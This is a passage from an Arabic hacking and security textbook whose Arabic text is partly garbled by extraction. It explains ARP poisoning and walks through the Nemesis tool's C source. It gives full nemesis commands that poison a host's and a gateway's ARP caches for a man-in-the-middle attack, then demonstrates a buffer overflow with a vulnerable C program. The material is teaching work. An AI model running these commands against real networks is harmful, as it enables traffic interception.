‫ُخيربنا ذذا الشكل أن ال ‪ Sniffer‬ذذا سيتمكن من التقاط ال ‪ traffic‬املار عرب ال ‪ Port‬ا ُملخصص له ققط! وبام أن ال‬
‫‪ Switch‬يمتلك ‪ CAM Table‬قلن ُيرسل عرب ذذا ال ‪ port‬لال ال ‪ Traffic‬ا ُمل َوجه لاىل ال ‪ Sniffer‬ققط‪ ،‬وبالتايل لن‬
‫يتمكن من ُمراقبة َمن حول ُه يف الشبكة‪.‬‬

‫َ‬
‫الزال بإمكاننا ُمراقبة ذؤالء باستخدام طرق أطرى‪ ..‬منها‪:‬‬ ‫لكن‬

‫‪Security & Attacks‬‬


‫]‪[226‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪ ‬أن متتلك ‪ Access‬عىل ذذا ال ‪ Switch‬قتقوم بتفعيل طاصية ال ‪ Port Mirroring‬به ليقوم بإرسال نُسخة من ال‬
‫‪ network traffic‬لىل ال ‪ port‬الذي ُحتدده أنت ُثم تَربط جهازك به‪.‬‬

‫ذذا الشكل يوضح ال ‪:port mirroring‬‬

‫‪ ‬والطريقة الثانية تكون عن طريق َع َمل "‪ ."ARP Spoofing‬ويتم ذلك عن طريق لرسال أحدذم ‪ ARP Reply‬لىل‬
‫األجهزة التي ُيريد رؤية ال ‪ traffic‬اخلاص ِبم‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[227‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يؤدي ذلك لىل حدوث ‪ overwritten‬لل ‪ ARP Cache‬اخلاصة ِبم بالبيانات اجلديدة اخلاصة بال ‪ .Attacker‬وذذا ما‬
‫ُيط َلق عليه بال ‪.ARP Poisoning‬‬

‫كام ترى ققد قا َم ال ‪ Attacker‬بعمل ‪ overwritten‬لل ‪ ARP Cache‬اخلاصة باليوزر ‪( Bob‬ليكُون ال ‪ IP‬اخلاص ب‬
‫‪ُ Alice‬يقابله ال ‪ MAC‬اخلاص بال ‪ ،)Attacker‬وأيض ًا قام بإرسال نفس ال ‪ ARP Reply‬لليوزر ‪ Alice‬ليتم تغيري ال‬
‫‪ ARP Cache‬لدهيا‪( ،‬قأصبح ال ‪ IP‬اخلاص ب ‪ Bob‬يقابله ال ‪ MAC‬اخلاص بال ‪.!)Attacker‬‬

‫ذذا لن ُيع ِّطل عملية التواصل بني ‪ Bob‬و ‪ ،Alice‬ستتم ولكن َع َ‬


‫رب ال ‪ .Attacker‬قبعد وصول البيانات لىل ال‬
‫‪ ،Attacker‬سيقوم بتعديل ال ‪ Headers‬مر ًة أطرى ولرجاعهم لاىل ال ‪ Switch‬ليقوم بتوصيلهم لىل ‪ Alice‬و ‪.Bob‬‬
‫وبام أن ال ‪ Switch‬يتعامل بال ‪ MAC‬ققط قلن ُيالحظ اخللل احلادث‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[228‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ولكن ذذه ال ‪ ARP Cache‬هلا ‪ُ timeout‬حمدد لإلحتفاظ ِبذه البيانات لدهيا‪ ،‬أليس كذلك؟‬
‫‪ ..‬تقريب ًا ذذا ال ‪ timeout‬تكون مدت ُه ‪ ،30 Seconds‬ولكي نُحاقظ عىل عملية ال ‪ Redirection‬ذذه قسنقوم بإرسال‬
‫"‪ "Spoofed ARP Replies‬كل ‪ 10 Seconds‬مثالً‪.‬‬
‫ولكن يف مثالنا ذذا لن نستفيد كثري ًا من لظهار ال ‪ traffic‬املار بني ‪ Bob‬و ‪ ،Alice‬سيكون من األقضل لنا ُمتابعة ال‬
‫‪ traffic‬بني أحد ال ‪ users‬وبني ال ‪ Gateway‬كي نَعرف أنشطة ذذا ال ‪ user‬عىل االنرتنت‪ .‬نستخدم لذلك أداة ال‬
‫‪ Ettercap‬وذي أداة مشهورة تعمل عىل أنظمة اللينكس وال ‪.MAC‬‬
‫أيض ًا أداة ال ‪ Nemesis‬تقوم بعمل "‪ "craft and enject packets‬داطل الشبكة‪.‬‬
‫وكالذم يعتمد عىل جمموعة من ال ‪ Libraries‬أشهرذا ال ‪ Libnet.c‬و ال ‪( ،Libpcap.c‬سنأيت هلُم بعد قليل)‪ .‬لن‬
‫أردت جتربة ال ‪ Ettercap‬ستجد يف ‪ Google‬العديد من الرشوحات وملفات الفيديو باللغة العربية ترشح لك طريقة‬
‫استخدامها‪..‬‬
‫ُ‬
‫وحيث أن ذدقنا قهم قلسفة ال ‪ ،ARP Poisoning‬قسنبدأ بفتح ملفات ال ‪ Source‬اخلاصة بأحد ذذه األدوات‬
‫وحتليل آلية عملها!‪.‬‬

‫‪Inside Nemesis tool‬‬


‫سنقوم بتحميل األداة واإلطالع عىل ملفات ال ‪ Source‬اخلاصة ِبا لنُشاذد ال ‪ Functions‬ا ُملستخدمة ونفهم‬
‫ميكانيكية عملها‪ .‬ذذه صفحة أداة ال ‪ Nemesis‬عىل االنرتنت‪ :‬ذذه األداة تعمل يف بيئة الويندوز أيض ًا‪.‬‬
‫‪http://nemesis.sourceforge.net/‬‬
‫وذذه نبذة ِسيعة عنها‬

‫‪Security & Attacks‬‬


‫]‪[229‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

“Nemesis is a command-line network packet crafting and injection utility.


Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP,
TCP and UDP packets”.
Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and
injected.

:‫ بعد حتميله‬Source ‫وذذا شكل ملف ال‬

Security & Attacks


[230]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ ونَعرض لك بعض ُحمتوياته‬،‫ املوجود بالشكل‬nemesis-arp.c ‫ سنقوم بفتح امللف‬،ARP Poison ‫بام أننا ُمهتمني بال‬
/*
* $Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $
*
* THE NEMESIS PROJECT
* Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net>
* Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org>
*
* nemesis-arp.c (ARP/RARP Packet Injector)
*
*/

#include "nemesis-arp.h"
#include "nemesis.h"
#if defined(WIN32)
#include <pcap.h>
#endif
static ETHERhdr etherhdr;
static ARPhdr arphdr;
... (omitted)

void nemesis_arp(int argc, char **argv)


{
const char *module= "ARP/RARP Packet Injection";
nemesis_maketitle(title, module, version);
if (argc > 1 && !strncmp(argv[1], "help", 4))
arp_usage(argv[0]);

arp_initdata();
arp_cmdline(argc, argv);
arp_validatedata();
arp_verbose();

if (got_payload)
{

Security & Attacks


[231]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,


(const u_int32_t)PAYLOADMODE) < 0)
arp_exit(1);
}

if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0)


{
printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP"));
arp_exit(1);
}
else
{
printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP"));
arp_exit(0);
}
}

.nemesis_arp( ) ‫كان ذلك امللف اخلاص بال‬

‫ تم تعريفهم يف بداية‬،packet header ‫ طاصة ببيانات ال‬data structures ‫ جمموعة من ال‬function ‫تَستخدم ذذه ال‬
.‫ سنأيت هلُم بعد قليل‬،function ‫ال‬

‫؟‬..nemesis_arp( ) ‫ هلذه ال‬Call ‫كيف َحيدُ ث‬


َ ‫ولكن‬
:‫ كام ييل‬nemesis.c ‫ املوجودة يف امللف‬،main( ) ‫ من ال‬call ‫ َحيدُ ث هلا‬function ‫ذذه ال‬
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include "nemesis.h"

int main(int argc, char **argv)


{

Security & Attacks


[232]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

char **avtmp, *avval;


extern int optind;

avtmp = argv;
avval = strrchr(*avtmp, '/');
if (avval++ == NULL)
avval = *avtmp;

if (!strncmp(avval, "nemesis-arp", 11))


{
nemesis_arp(argc, argv);
}
else if (argc > 1 && !strncmp(argv[1], "arp", 3))
{
argv += optind;
argc -= optind;
nemesis_arp(argc, argv);
}

:‫ من جديد‬nemesis_arp( ) ‫نعود لىل ال‬


:Headers ‫" لبعض ال‬Static defined Structures" ‫نُالحظ يف البداية عملية استدعاء جمموعة من ال‬
Ethernet and ARP Headers.. and more.
.‫ ققط‬ARP ‫ وال‬Ethernet ‫ُعرب عن ال‬
ِّ ‫ التي ت‬structures ‫لكننا سنكتفي بإظهار ال‬
static ETHERhdr etherhdr;
static ARPhdr arphdr;

..nemesis.h ‫يتم استدعائهم من امللف‬

:‫ ُذم‬،‫ ُأطرى عند عملها‬functions ‫ ألربعة‬call ‫ بعمل‬function ‫وتقوم ذذه ال‬


arp_initdata();
arp_cmdline(argc, argv);

Security & Attacks


[233]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

arp_validatedata();
arp_verbose();

:‫سيقوموا بأدوار ُمتتابعه‬.. nemesis-arp.c ‫ موجودة يف نفس امللف‬functions ‫ذذه ال‬


cmd-line ‫ ثم الثانية تقوم بالتعامل مع ال‬،‫ املطلوبة‬structures ‫ اخلاصة بال‬data ‫ لل‬initialize ‫قاألوىل تقوم بعمل‬

.reporting ‫ والرابعة طاصة بال‬،‫ والثالثة للتأكُد من صحة البيانات ا ُملستَخدَ مة‬،arguments
header structures ‫ اخلاصة بال‬elements ‫ لرتى ال‬arp_initdata( ) ‫سأعرض لك حمتويات ال‬
static void arp_initdata(void)
{

/* defaults */
etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */
memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */
memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet dest. address */
arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */
arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */
arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */
arphdr.ar_hln = 6; /* 6 byte hardware addresses */
arphdr.ar_pln = 4; /* 4 byte protocol addresses */
memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */
memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */
memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */
memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */
pd.file_mem = NULL;
pd.file_s = 0;
return;
}

:‫ لت ََضح لنا األمور‬function ‫ التي َستَستَقبلها ذذه ال‬Arguments ‫ َسنُشاذد مع ًا شكل ال‬.. ،‫واآلن‬

Security & Attacks


[234]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ سيتولد نتيج ًة‬،‫ يف الشبكة‬Gateway ‫ اخلاص به وأيض ًا لل‬traffic ‫ للجهاز ا ُملراد حتويل ال‬ping ‫َبعدَ أن نقوم َبعمل‬
.‫ أيض ًا‬MAC ‫ اخلاصة ِبم مع ال‬IP Addresses ‫ لدينا ِبا ال‬arp cache ‫ يف ال‬entry ‫لذلك‬
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118


PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
--- 192.168.0.118 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ arp -na


? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0

reader@hacking:~/booksrc $ ifconfig eth0


eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000
reader@hacking:~/booksrc $

ٍ ‫" َظ َه َر لنا عناوين ك‬arp –na" ‫بعد تنفيذ األمر‬


.‫ عليهم‬MITM Attack ‫ ا ُملراد عمل‬gateway ‫ُل من اجلهاز وال‬
:‫ وتنفيذ اهلجوم عليهم كام ييل‬nemesis ‫َسنقوم بتشغيل ال‬

Security & Attacks


[235]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Running Nemesis
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.1 –D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30
-H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118


[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB

ARP Packet Injected


reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.118 -D
192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H
00:00:AD:D1:C7:ED -M
00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01


[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1


[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)

Security & Attacks


[236]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

[ARP protocol len] 6


[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected


reader@hacking:~/booksrc $

‫ اخلاصة ِبا لتفهم‬man page ‫ سأعرض لك جزء من ال‬،command ‫ يف ذذا ال‬options ‫لقد ُقمنا باستخدام بعض ال‬
.‫دالالهتم‬
reader@hacking:~/booksrc $ nemesis arp help
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4(Build
26)

ARP/RARP Usage:
arp [-v (verbose)] [options]

ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>

Data Link Options:


-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>

You must define a Source and Destination IP address.

Security & Attacks


[237]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لقد َع َرقنا كيف تعمل ذذه األداة‪ ،‬ذيا لنَعود لىل ال ‪ function‬اخلاصة بال ‪ ARP Poison‬وذي ) (‪Nemesis_arp‬‬

‫لنستكمل دورذا‪.‬‬
‫بعد عمل ‪ call‬لألربعة ‪ functions‬التي أوضحناذا سابق ًا‪ ،‬يتم يف النهاية استدعاء ال ) (‪ buildarp‬والتي ستقوم‬
‫بتكوين ال ‪ ARP Packet‬وعمل ‪َ inject‬هلا‪ .‬توجد يف ملف ُمستقل كام ترى يف الشكل‪“nemesis-proto_arp.c” :‬‬

‫‪Security & Attacks‬‬


‫]‪[238‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char


*device, int reply)
{
int n = 0;
u_int32_t arp_packetlen;
static u_int8_t *pkt;
struct libnet_link_int *l2 = NULL;

/* validation tests */
if (pd->file_mem == NULL)
pd->file_s = 0;

arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;

#ifdef DEBUG
printf("DEBUG: ARP packet length %u.\n", arp_packetlen);
printf("DEBUG: ARP payload size %u.\n", pd->file_s);
#endif

if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL)


{
nemesis_device_failure(INJECTION_LINK, (const char *)device);
return -1;
}

if (libnet_init_packet(arp_packetlen, &pkt) == -1)


{
fprintf(stderr, "ERROR: Unable to allocate packet memory.\n");
return -1;
}
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,
eth->ether_type NULL, 0, pkt);

libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,


arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,
arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,
pkt + LIBNET_ETH_H);

Security & Attacks


[239]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +


LIBNET_ARP_H + pd->file_s);

if (verbose == 2)
nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
if (n != arp_packetlen)
{
fprintf(stderr, "ERROR: Incomplete packet injection. Only "
"wrote %d bytes.\n", n);
}
else
{
if (verbose)
{
if (memcmp(eth->ether_dhost, (void *)&one, 6))
{
printf("Wrote %d byte unicast ARP request packet through "
"linktype %s.\n", n,
nemesis_lookup_linktype(l2->linktype));
}
else
{
printf("Wrote %d byte %s packet through linktype %s.\n",
n,(eth->ether_type == ETHERTYPE_ARP ? "ARP" :
"RARP"), nemesis_lookup_linktype(l2->linktype));
}
}
}
libnet_destroy_packet(&pkt);
if (l2 != NULL)
libnet_close_link_interface(l2);
return (n);
}

Security & Attacks


[240]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ َقمن ا ُملتوقع أهنا تأطذ ال‬،‫ هلا عرب كارت الشبكة‬inject ‫ وعمل‬packet ‫ ستقوم بتكوين ال‬function ‫وبام أن ذذه ال‬
:‫ التالية‬Arguments
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)
Nemesis.h ‫" من ال‬ARP Header Structure" ‫" وأيض ًا ال‬Ethernet Header Structure" ‫ستحتاج الستخدام ال‬
.Lib
:‫ التي تقوم بدور حموري يف ذذا الكود‬functions ‫سنقوم بتسليط الضوء عىل جمموعة من ال‬

1- libnet_open_link_interface()

2- libnet_init_packet()

3- libnet_build_ethernet()

4- libnet_build_arp()

5- libnet_write_link_layer()

:‫( نبدأ باألوىل وذي‬1)


libnet_open_link_interface(device, errbuf)
Link- ‫ اخلاص بال‬Frame ‫ كي نستطيع كتابة ال‬packet interface ‫ تقوم بفتح‬،"low-level function" ‫تُعت ََرب ذذه‬

ُ ‫ قهي‬.Layer
.‫ من قبل‬sniffer ‫ الذي تكلمنا عنه يف ال‬error buffer ‫ وال‬interface device ‫ لل‬Arguments ‫تأطذ‬

:‫( ثم نأيت للثانية‬2)


libnet_init_packet(arp_packetlen, &pkt(
.‫ كي يتم استخدامها‬packet ‫ لل‬initialize ‫واضح من اإلسم أهنا تقوم بعمل‬

Security & Attacks


[241]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..“arp_packetlen” ‫ األول‬argument ‫ذذا ال‬


:ARP Packet ‫عباره عن ُمتغري تَم تَعريفه يف بداية الكود لن ََضع به حجم ال‬
u_int32_t arp_packetlen;
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
‫&“ ذو ال‬pkt” ‫ والثاين‬ARP Payload Size ‫ و ال‬Ethernet Header ‫ و ال‬ARP Header ‫سيحوي ذذا ا ُملتغري ال‬
.(Address of this packet in memory)

،‫ ا ُملراد استخدامها‬packet ‫ لل‬memory allocation ‫ بأهنا تقوم بعمل‬function ‫تتلخص وظيفة ذذه ال‬
ّ ..‫ا ُملهم‬
ٍ
.‫ ؟؟‬malloc( ) ‫ ذل تتذكر ذذه ال‬..malloc( ) ‫بشكل ما لل‬ call ‫وبالتايل سنكون بحاجة لعمل‬

.memory ‫ لل‬Destroy ‫ لعمل‬Free( ) ‫ حتتاج بعد انتهاء املطلوب أن نستخدم ال‬allocation ‫كام تعلم أن عملية ال‬
.‫ جتدذا يف آطر الكود‬libnet_destroy_packet( ) ‫ لهنا‬،‫ لذلك‬function ‫َق َس َيجري استخدام‬

:‫( والثالثه‬3)
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,
eth->ether_type NULL, 0, pkt);
.ethernet struct ‫ اخلاصة بال‬Elements ‫ قهي تستخدم ال‬،Ethernet Packet ‫تقوم ذذه بتكوين ال‬
"ARP, or IP" ..ether packet ‫ َقيَدُ ل عىل نوع ال‬ether_type ‫أما ذذا ال‬

:‫( ثم الرابعة‬4)
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,
arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,
arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,
pkt + LIBNET_ETH_H);
.ARP Packet ‫ ولكنها ستقوم بتكوين ال‬..‫ذذه تشبه الثالثة‬

Security & Attacks


[242]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:function ‫ املُستخدمة يف ذذه ال‬Elements ‫ماييل توضيح لل‬


hardware address type, protocol address type, the hardware address length,
the protocol address length, the ARP packet type, the sender hardware address, the sender
protocol address, the target hardware address, the target protocol address,
the packet payload, the payload size, and finally, a pointer to the packet header memory.

:function ‫( ُثم تأيت ذذه ال‬5)


libnet_write_link_layer()
.inject ‫ ليقوم بعملية ال‬device ‫ لىل ال‬packet ‫ هلذه ال‬write ‫لتقوم بعمل‬
‫ التي تم ختصيصها لل‬memory ‫ لل‬free ‫بعمل‬ libnet_destroy_packet(&pkt) ‫ويف النهاية تقوم ال‬
:function ‫" أطري ًا باستخدام ذذه ال‬low-level interface" ‫ ُثم َغلق ال‬.Packet
libnet_close_link_interface

.“ARP Poisoning” ‫ِبذا نكون قد انتهينا م َن ال‬


.“Buffer Overflow” ‫سننتقل اآلن لنتكلم عن نوع من الثغرات الشهرية وذي ال‬

Buffer Overflow

‫ لهنا تستغل نقاط الضعف لدى الربامج يف تعاملها مع ال‬،‫ من ال ُط ُرق الشهرية يف االطرتاق‬Buffer Overflow ‫ال‬
‫“ ليقوم‬the execution flow” ‫ ويكون اهلدف من ذذا النوع من الثغرات ذو الت ََحكُم يف َسري الربنامج‬،memory
.memory ‫مكان ما داطل ال‬ ٍ ‫ ن ََضع ُه يف‬malicious code ‫ أو‬instructions ‫بتنفيذ‬
.“Execution of arbitrary code” ‫نُطلق عىل ذذا النوع من ا ُملامرسات بال‬

Security & Attacks


[243]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ق ُقمنا‬،6 bytes ‫ يستوعب‬buffer ‫ وكان ذذا ال‬،inputs ‫ ل َيستقبل منا‬buffer ‫ال لذا قام أحد ا ُملربجمني بتخصيص‬
ً ‫قمث‬
.buffer ‫ هلذا ال‬Overflow ‫ قسوف حيدُ ث‬،!‫ بدالً من ذلك‬8 bytes ‫نحن بإدطال‬
ُ
َ ‫ الزائدين عن املساحة ا ُمل َخ‬2 bytes ‫ ألن ال‬،Buffer Overflow ‫ أو‬Buffer Overrun ‫ُيسمى ذذا اإلجراء بال‬
‫صصة‬
‫ ال‬..‫سيتسببان يف ذذه األزمة‬
.‫“ احلادث‬Overflow”
‫ذذا مثال يوضح حالة من‬
‫ تم اكتشاقها‬.BOF ‫حاالت ال‬
‫أثناء تفعيل طاصية التصحيح‬
.Word ‫اإلمالئي يف برنامج ال‬

“Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew”
The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when
you run a spelling and grammar check or when you use a custom dictionary that was created
before Service Pack 3.
You may receive the following error message:

Microsoft Visual C ++ Runtime library


buffer overrun detected! Program: C:\Program Files\Microsoft Office\Office11\Winword.exe, A
buffer overrun has been detected which has corrupted the program's internal state. The program
cannot safely continue execution and must now be terminated.

.‫سنأطذ مثال بسيط لنفهم كيف َحتدُ ث ذذه الثغرة‬

Security & Attacks


[244]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫تأمل َمعي ذذا الكود‬


#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {


int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */
strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */

printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n",


buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n",
buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value,
value, value);

printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",


strlen(argv[1]));
strcpy(buffer_two, argv[1]); /* Copy first argument into
buffer_two. */

printf("[AFTER] buffer_two is at %p and contains \'%s\'\n",


buffer_two, buffer_two);
printf("[AFTER] buffer_one is at %p and contains \'%s\'\n",
buffer_one, buffer_one);
printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value,
value, value);
}

:‫يف ذذا الكود‬


.buffer_two ‫ لنَقوم بوضعه يف ال‬argv[1] ‫ من ا ُملستَخدم وذو ال‬input ‫صدد استقبال‬
َ ‫َحن ب‬
ُ ‫ن‬

Security & Attacks


[245]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

ً ‫ مث‬..‫ عشوائية‬Input ‫سنقوم بإداطل‬


‫ أي أهنا ستتعامل‬char array ‫ الحظ أهنا‬،10 bytes ‫“ ب ُم َعدّ ل‬1234567890” ‫ال‬
.‫ ققط‬1 byte ‫ قسيشغل‬char ‫مع الرقم وكأنه‬
:‫ذيا لنُشاذد النتائج‬
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $

‫ داطل ُمتغري ُُم ّصص‬10 bytes ‫ بسبب ُحماولة وضع‬،‫ بالفعل‬Overflow ‫ أنه تم حدوث‬bold ‫نُالحظ يف السطر ال‬
.‫ ققط‬8 bytes ‫ليستوعب‬
َ ‫ كام‬buffer_one ‫للمتغري‬
buffer ‫ وذذا ألن ال‬..‫ظ َه َر لنا‬ ُ overflow ‫ الزائدة بعمل‬2 bytes ‫وبالتايل قامت ذذه ال‬
.memory ‫للمتغريات األطرى القريبة منها داطل ال‬
ُ overflow ‫الزائدة عن املألوف تُس ِّبب‬
:‫ كبرية نسبي ًا ونُشاذد ما حيدُ ث‬input ‫ُجرب لدطال‬
ِّ ‫سن‬
reader@hacking:~/booksrc $ ./overflow_example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains
'AAAAAAAAAAAAAAAAAAAAA'

Security & Attacks


[246]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)


Segmentation fault (core dumped)
reader@hacking:~/booksrc $

.!‫ ذذه املرة‬overflow ‫“ أيض ًا حدث له‬int value 5” ‫الحظ أن املتغري‬


:‫ أكثر لنخترب ذذا الكود‬Buffer ‫سنزيد ال‬
reader@hacking:~/booksrc $ ./notesearch
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ end of note data ]-------
Segmentation fault
reader@hacking:~/booksrc $

.‫ للربنامج‬crash ‫َسبب يف ُحدوث‬


َ ‫نُالحظ أن ُه قد ت‬

The Stack

..‫قبل أن نبدأ‬
:“the shellcoder’s handbook” ‫ ماييل بعض األسطر من كتاب‬،‫س ُأ َذك ُِّرك ب َبعض املعلومات التي ناقشناذا سابق ًا‬
